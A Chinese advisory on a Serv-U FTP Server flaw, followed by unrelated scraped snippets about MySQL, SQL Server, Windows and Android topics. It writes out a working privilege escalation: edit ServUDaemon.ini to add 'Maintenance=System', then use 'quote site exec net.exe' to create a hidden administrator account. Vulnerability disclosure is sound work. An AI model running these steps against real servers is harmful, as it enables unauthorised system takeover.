Serv-U FTP Server远程/本地提升权限缺陷

server|serv-u

Serv-U FTP Server为RhinoSoft出品的一款Ftp Sserver软件,目前在全世界广为使用。经我研究发现,Serv-U FTP Server的配置文件存贮于Serv-U FTP Server文件目录下的ServUDaemon.ini文件中。如果本地受限用户或者远程拥有普通权限的攻击者能接触到该文件并精心构造ServUDaemon.ini文件中的内容就能利用Ftp进程在系统上以SYSTEM权限执行任意命令。

四、缺陷分析:
Serv-U FTP Serve在设置用户以后会把配置信息存储与ServUDaemon.ini文件中。包括用户的权限信息和可访问目录信息。本地受限用户或者是远程攻击者只要能够读写Serv-U FTP Serve的文件目录,就可以通过修改目录中的ServUDaemon.ini文件实现以Ftp进程在远程、本地系统上以FTP系统管理员权限来执行任意命令。并且不受系统版本的影响。(用户信息选择“存储与系统注册表中”不受此缺陷影响)

五、测试方法:

1、本地测试
   假设本地受限用户可以浏览Serv-U FTP Serve的文件目录。找到ServUDaemon.ini文件。用记事本打开原文件大致内容为:
[GLOBAL]
Version=4.1.0.0    // Serv-U Ftp Server 版本号
ProcessID=584
RegistrationKey=UEyz459waBR4lVRkIkh4dYw9f8v4J/AHLvpOK8tqOkyz4D3wbymil1VkKjgdAelPDKSWM5doXJsgW64YIyPdo+wAGnUBuycB
[DOMAINS]
Domain1=127.0.0.1||21|127.0.0.1|1|0    //主机IP以及域名,端口情况
[Domain1]
User1=zihuan|1|0
[USER=zihuan|1]
Password=rfE8DFBE3F7EC27FB043D4305A04E6D2C6
HomeDir=c:\     // 可以浏览的目录
TimeOut=600  
Access1=C:\|RWAMLCDP

如果把ServUDaemon.in文件修改为:

[GLOBAL]
Version=4.1.0.0
ProcessID=584
RegistrationKey=UEyz459waBR4lVRkIkh4dYw9f8v4J/AHLvpOK8tqOkyz4D3wbymil1VkKjgdAelPDKSWM5doXJsgW64YIyPdo+wAGnUBuycB
[DOMAINS]
Domain1=127.0.0.1||21|127.0.0.1|1|0          
[Domain1]
User1=zihuan|1|0
[USER=zihuan|1]
Password=rfE8DFBE3F7EC27FB043D4305A04E6D2C6
HomeDir=c:\
TimeOut=600
Maintenance=System  //权限类型
Access1=C:\|RWAMELCDP

以上内容比原内容多了一句“Maintenance=System”修改完成后保存。然后在用Ftp登陆到Serv-U FTP Server以后执行如下命令:

ftp>open ip    
Connected to ip.
220 Serv-U FTP Server v4.1.0.0 for WinSock ready...
User (ip:(none)): id  //输入构造的用户
331 User name okay, please send complete E-mail address as password.
Password:password  //密码
230 User logged in, proceed.
ftp> cd winnt   //进入win2k的winnt目录,如果是winxp或者是windows server 2003就应该为windows目录。
250 Directory changed to /WINNT
ftp>cd system32  //进入system32目录
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user zihuan ziHUAN /add   //利用系统的net.exe文件加用户。
200 EXEC command successful (TID=33).
ftp>quote site exec net.exe localhost administrators zihuan /add  //提升为超级用户

这样就在本地系统上加了一个为zihuan密码为:ziHUAN的超级用户。也可以直接用quote site exec net.exe localhost administrators user /add命令把当前用户提升到超级用户组中去。当然也可以在系统上执行任何命令。

声明:

本本仅用来描述可能存在的安全问题,作者本人和黑客X档案杂志社不为此安全公告提供任何保证或承诺。由于传播、利用此文章提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任。作者拥有对此安全公告的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者本人允许,不得任意修改或者增减此文章公告内容。

时间: 2025-01-01 17:42:47

Serv-U FTP Server远程/本地提升权限缺陷的相关文章

mysql远程代码执行/权限提升漏洞

就我目前测试的情况来看,这个漏洞比较鸡肋,原因有以下两点: 1,使用默认方式安装的mysql,mysql用户并没有配置文件/etc/mysql/my.cnf的所属权限: 2,不关闭selinux或apparmor的话,exp脚本执行是会报错的. legalhackers原文中提到这个漏洞的前提是很多人按照错误的安装指南来进行权限配置,将配置文件的所属用户修改成了mysql.不过貌似漏洞发现者手里还藏了几个更加严重的mysql漏洞,并没有披露. I. VULNERABILITY MySQL <=

公司网络设置-Windows server 2003新用户远程桌面没有权限怎么设置权限

问题描述 Windows server 2003新用户远程桌面没有权限怎么设置权限 Windows server 2003新用户远程桌面没有权限怎么设置权限,文件从外网上传到内网怎么传 解决方案 是不是没有开启,或者就是网关把权限关了

SQL Server 远程链接服务器详细配置

原文:SQL Server 远程链接服务器详细配置[转载] http://hi.baidu.com/luxi0194/blog/item/a5c2a9128a705cc6c2fd7803.html 远程链接服务器详细配置--建立连接服务器EXEC sp_addlinkedserver  '远程服务器IP','SQL Server'--标注存储EXEC sp_addlinkedserver@server = 'server', --链接服务器的本地名称.也允许使用实例名称,例如MYSERVER\S

MVC远程获取cmd权限

问题描述 有一个web程序,需要在客户端启动服务器的某个服务.想使用cmd执行启动,在使用Process执行cmd时,获取不到对应的服务.简单分析了一下是因为IIS用户权限不够的原因,由于安全原因又不能给IIS赋予高权限,请问各位大神,应该如何解决此问题呢.如何能在IIS匿名访问时启动服务器具有管理员权限的cmd或者怎么直接启动服务器上的某项服务. 解决方案 解决方案二:IIS可以设置帐号的解决方案三:用runas命令提升权限.自己google下用法.解决方案四:匿名访问的情况下去启动服务器端的

使用SQL语句赋予SQL Server数据库登录用户权限

server|数据|数据库|用户权限|语句 GRANT在安全系统中创建项目,使当前数据库中的用户得以处理当前数据库中的数据或执行特定的 Transact-SQL 语句.语法语句权限: GRANT { ALL | statement [ ,...n ] } TO security_account [ ,...n ] 对象权限: GRANT    { ALL [ PRIVILEGES ] | permission [ ,...n ] }    {         [ ( column [ ,...n

使用SQL语句取消SQL Server数据库登录用户权限

server|数据|数据库|用户权限|语句 REVOKE删除以前在当前数据库内的用户上授予或拒绝的权限.语法语句权限: REVOKE { ALL | statement [ ,...n ] } FROM security_account [ ,...n ] 对象权限: REVOKE [ GRANT OPTION FOR ]    { ALL [ PRIVILEGES ] | permission [ ,...n ] }    {         [ ( column [ ,...n ] ) ]

BulletProof FTP Server:物美价廉

server BulletProof FTP Server,曾经的名字是G6 FTP Server,是一款全功能的Windows平台FTP服务器软件. 如果你的组织需要一款Windows平台的简单FTP服务器,你会有很多选择.不过如果你想找到一款全功能适用于中端到高端用户使用的windows 平台FTP服务器,你可以好好看一下BulletProof FTP Server这个产品.它并不向一些其它的FTP服务器那样在服务器里整合进其它一些如telnet或IRC等的协议,BulletProof FT

SQL Server远程连接出错的解决方法

SQL Server远程连接出错?不要紧,下面就为您分析SQL Server远程连接出错的原因,并给出解决问题的方法,希望对您学习SQL Server远程连接方面能有所帮助. 在进行sqlserver复制的时候,我的情况是这样的,我在本地的management studio里连接了一个远程的sqlserver数据库服务器,用的不是默认端口号,也没有开browser服务,而且是命名实例,非默认实例,所以连接的服务器名得用abcabcserver,port这样的模式来连,然后配置它的复制分发(包括新

Android系统进程间通信(IPC)机制Binder中的Client获得Server远程接口过程源代码分析_Android

     在上一篇文章中,我们分析了Android系统进程间通信机制Binder中的Server在启动过程使用Service Manager的addService接口把自己添加到Service Manager守护过程中接受管理.在这一篇文章中,我们将深入到Binder驱动程序源代码去分析Client是如何通过Service Manager的getService接口中来获得Server远程接口的.Client只有获得了Server的远程接口之后,才能进一步调用Server提供的服务.